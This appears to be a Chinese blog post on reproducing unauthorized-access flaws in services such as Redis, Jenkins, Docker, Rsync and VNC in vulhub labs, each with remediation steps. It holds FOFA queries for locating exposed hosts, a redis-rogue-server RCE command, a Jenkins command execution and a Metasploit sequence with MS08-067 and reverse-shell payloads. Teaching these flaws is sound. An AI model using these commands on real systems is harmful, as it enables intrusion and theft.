redis,MongoDB等未授权访问靶场复现

发布于:2025-07-31 ⋅ 阅读:(18) ⋅ 点赞:(0)

redis未授权访问

在docker中启动vulhub对应的靶场

目录:cd /vulhub-master/redis/4-unacc

在kali上安装redis程序进行服务连接

安装redis
apt-get install redis
redis链接
redis-cli -h IP -p 端口

输入info可以查看信息

接下来我们使用redis-rogue-server来获取命令执行环境

https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost 目标IP --lhost 本机IP

MongoDB未授权访问

在启动MongoDB时没有添加参数,导致可以使用默认空口令进行登录

修复和防御:

1.在启动时为MongoDB添加--auth参数,为MongoDB添加用户

2.启动时加入参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf 文件中添加以下内容:
bind_ip = 127.0.0.1


Memcached未授权访问

1.由于 Memcached 的安全设计缺陷,没有权限控制模块,所以对公网开放的 Memcache 服务很容易被攻击者扫描发现,攻击者无需认证,通过命令交互可直接读取 Memcached 中的敏感信息。

2.复现

下载Memcached程序并执行命令启动Memcached漏洞环境
使用Telnet程序探测目标端口
使用nmap脚本进行漏洞扫描

漏洞修复:
1. 设置Memcached只允许本地访问。
2. 禁止外网访问Memcached 11211端口。
3. 配置访问控制策略。
4. 最小化权限运行。
5. 修改默认端口等。


Zookeeper未授权访问

Zookeeper 安装部署之后默认情况下不需要任何身份验证,攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 内进行破坏。攻击者能够执行所有只允许由管理员运行的命令。

port="2181" && "Zookeeper" && country="US"

kali中使用命令进行漏洞测试

echo envi | nc ip 端⼝

使用Zookeeper可视化管理工具进行连接

修复方法

1.限制网络访问:通过防火墙或网络策略,仅允许信任的 IP 地址(如集群内部节点)访问 2181 端口,避免直接暴露在公网。
2.启用身份认证:
在 Zookeeper 配置文件(zoo.cfg)中启用 SASL 认证,通过jaas.conf配置用户名密码验证;
结合 Kerberos 实现更严格的身份校验(适用于分布式集群环境)。
3.权限控制:通过 Zookeeper 的 ACL(Access Control List)机制,为节点设置细粒度权限(如read、write、admin等),限制非授权用户的操作范围。
4.定期审计:启用 Zookeeper 的审计日志,记录所有操作行为,便于及时发现异常访问。


Jenkins未授权访问

port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

在搜索到的网站中,选择系统管理,脚本命令行

 运行命令

println "whoami" .execute().text

漏洞修复

1.升级版本

2.添加认知,加强密码强度

3. 禁止把Jenkins直接暴露在公网


Jupyter NoteBook未授权访问

如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令,默认端口:8888。

"Jupyter Notebook" && port="8888" && "terminals" //fofa
cd /vulhub/jupyter/notebook-rce
docker-compose up -d  //vulhub靶场

如果存在未授权点击连接会直接跳转到web页面不需要输入密码即可看到jupyter界面

点击图示的位置即可新建一个终端,可以执行命令

修复方法:

1.开启身份验证,防止未经授权的用户进行访问

2.访问控制策略,限制IP访问,只允许固定IP访问


Elasticsearch未授权访问

ElasticSearch是基于Lucene、由Java开发的流行企业级分布式全文搜索引擎,遵循Apache许可开源,提供RESTful web接口,其增删改查操作均通过http接口完成。由于授权模块需付费,免费开源的ElasticSearch可能存在未授权访问漏洞,攻击者通常会请求一个9200或者93000端口的服务器来获得所有权限并对数据任意操作,进而导致业务系统面临敏感数据泄露、数据丢失或破坏,甚至遭受勒索等风险。

"Elasticsearch" && port="9200"

 存在未授权可直接访问到页面,不需要登录

漏洞测试

拼接/_nodes可以查看节点信息

修复方法:
1.限制IP访问或者固定IP

2. config/elasticsearch.yml 中为9200端口设置认证等


Kibana未授权访问

Kibana如果允许外网访问且没有做安全登录认证,就会被外部任意访问,查看所有数据,造成数据泄露。在默认配置下,Kibana就可以访问Elasticsearch中的所有数据。

"kibana" && port="5601"

直接访问Kibana的页面且无需账号密码可以登陆进入登录界面

修复方法:

1.升级到最新版

2.在 Kibana 所在的服务器上安装 Nginx 服务,利用 Nginx 的转发指令实现(访问页面时)需要输入账号密码才可以访问。

3.如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。


Docker Remote API未授权访问

Docker Remote API配置不当可导致未授权访问,被攻击者恶意利用。攻击者无需认证即可访问到Docker数据,可能导致敏感信息泄露,黑客也可以删除Docker上的数据,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。

fofa语法

port="2375" && "docker"

直接访问并拼接

/version 查看版本
/info 查看信息

使用 -H 参数连接目标主机的 Docker,使用 version命令查询目标版本

漏洞修复:

1. 端口访问控制  
对2375端口做网络访问控制,如设置iptables策略仅允许指定的IP来访问Docker接口。  
2. 使用TLS认证


Kubernetes Api Server未授权访问

Kubernetes正常启动后开两个默认端口(8080、6443),均提供Api Server服务,分别可通过Web访问和kubectl调用。若运维未合理配置验证与权限,攻击者可借此获取容器权限。

port="8080" && app="Kubernetes"

在打开的网页中直接访问 8080 端口会返回可用的 API 列表。

拼接version可以查看版本

3.修复方法:

1. 进行授权认证  
2. 使用Service Account令牌  
3. 配置防火墙策略


Hadoop未授权访问

Hadoop是Apache开发的分布式系统基础架构,若服务器开放其HDFS的50070等默认端口,黑客可通过命令行操作目录数据(删除、下载、浏览、执行命令等),危害极大。

port="8088" && app="Hadoop"

打开页面可以直接访问不经过用户密码验证

 

漏洞修复:

1.如没有必要可以关闭web管理页面

2.开启身份验证,防止未经授权用户登录

3.设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。


ActiveMQ未授权访问

默认情况下,ActiveMQ服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。

body="ActiveMQ" && port="8161"

访问admin目录,默认使用admin/admin即可登录

漏洞修复:
1.可以修改其账号密码


RabbitMQ未授权访问

port="15672"

直接访问页面输入默认的账号密码即可,默认账号密码为guest

修复方法:

1.修改密码为强密码,删掉默认的guest用户

2.只允许内网访问,不对外网访问 


Springboot Actuator未授权访问

在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。

原生断点有:
 

/dump - 显示线程转储(包括堆栈跟踪)  
/autoconfig - 显示自动配置报告  
/configprops - 显示配置属性  
/trace - 显示最后几条HTTP消息(可能包含会话标识符)  
/logfile - 输出日志文件的内容  
/shutdown - 关闭应用程序  
/info - 显示应用信息  
/metrics - 显示当前应用的'指标'信息  
/health - 显示应用程序的健康指标  
/beans - 显示Spring Beans的完整列表  
/mappings - 显示所有MVC控制器映射  
/env - 提供对配置环境的访问  
/restart - 重新启动应用程序
icon_hash="116323821"

2. 当 web 应用程序出现 4xx、5xx 错误时显示类似以下页面就能确定当前 web 应用是使用了 springboot 框架,可以拼接/env,/trace来查看基本的属性,或者http跟踪信息

3.修复方法

1.禁止/env拼接

2.禁止对外开放

3.升级 


FTP未授权访问

如果服务器开启了允许匿名访问,则可以不需要登录直接访问到服务器上的相关内容

ftp://ip:port/


JBoss未授权访问

title="Welcome to JBoss" && icon_hash="-656811182"

拼接 jmx-console/即可不需要登录直接访问

修复方法:

1. jboss.deployment部署shell
2. 进行JMX Console 安全配置。


Ldap未授权访问

port="389"

通过Ldapadmin可视化工具做连接验证

修复方法

1. 修改ldap的acl,不允许匿名访问。
2. 根据业务设置ldap访问白名单或黑名单


Rsync未授权访问

由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。

(port="873") && (is_honeypot=false && is_fraud=false)


cd vulhub/rsync/common
docker-compose up -d

可使用Nmap扫描该端口是否开启服务

可以访问src目录

rsync rsync://IP:873/src/

下载文件

利用定时任务反弹shell

 

等待17分钟即可反弹到shell


VNC未授权访问

(port="5900") && (is_honeypot=false && is_fraud=false)

使用MSF中的模块进行检测和漏洞利用

# VNC未授权检测
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
msf6 auxiliary(scanner/vnc/vnc_none_auth) > show options
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 172.16.1.1-254
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set threads 100
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
# VNC密码爆破
msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 172.16.1.200
msf6 auxiliary(scanner/vnc/vnc_login) > set blank_passwords true //弱密码爆
破
msf6 auxiliary(scanner/vnc/vnc_login) > run
# 加载攻击模块
msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_0
67_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterprete
r/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 172.16.1.200
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 172.16.1.10
msf6 exploit(windows/smb/ms08_067_netapi) > set target 34
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
获取会话后,直接run vnc可控制远程虚拟机
# 直接控制远程机器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/vncinject/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.16.1.200
msf6 exploit(multi/handler) > set lport 4466
msf6 exploit(multi/handler) > exploit

3.vnc连接

vncviewer ipaddress 


Dubbo未授权访问

(app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)

使用Telnet直接连接进行测试

telnet IP port

 

防御手段

配置dubbo认证

设置防火墙策略


NSF共享目录未授权

"nfs"

 执行命令进行漏洞复现

#安装nfs客户端
apt install nfs-common
#查看nfs服务器上的共享⽬录
showmount -e 192.168.126.130
#挂载相应共享⽬录到本地
mount -t nfs 192.168.126.130:/grdata /mnt
#卸载⽬录
umount /mnt

漏洞修复

禁止外部访问对应的端口

设置/etc/exports,对访问进行控制 


Druid未授权访问

title="Druid Stat Index"

直接访问

漏洞修复

配置访问账号和密码

禁止外网访问 


CouchDB未授权访问

(port="5984") && (is_honeypot=false && is_fraud=false)

curl连接


网站公告

今日签到

点亮在社区的每一天
去签到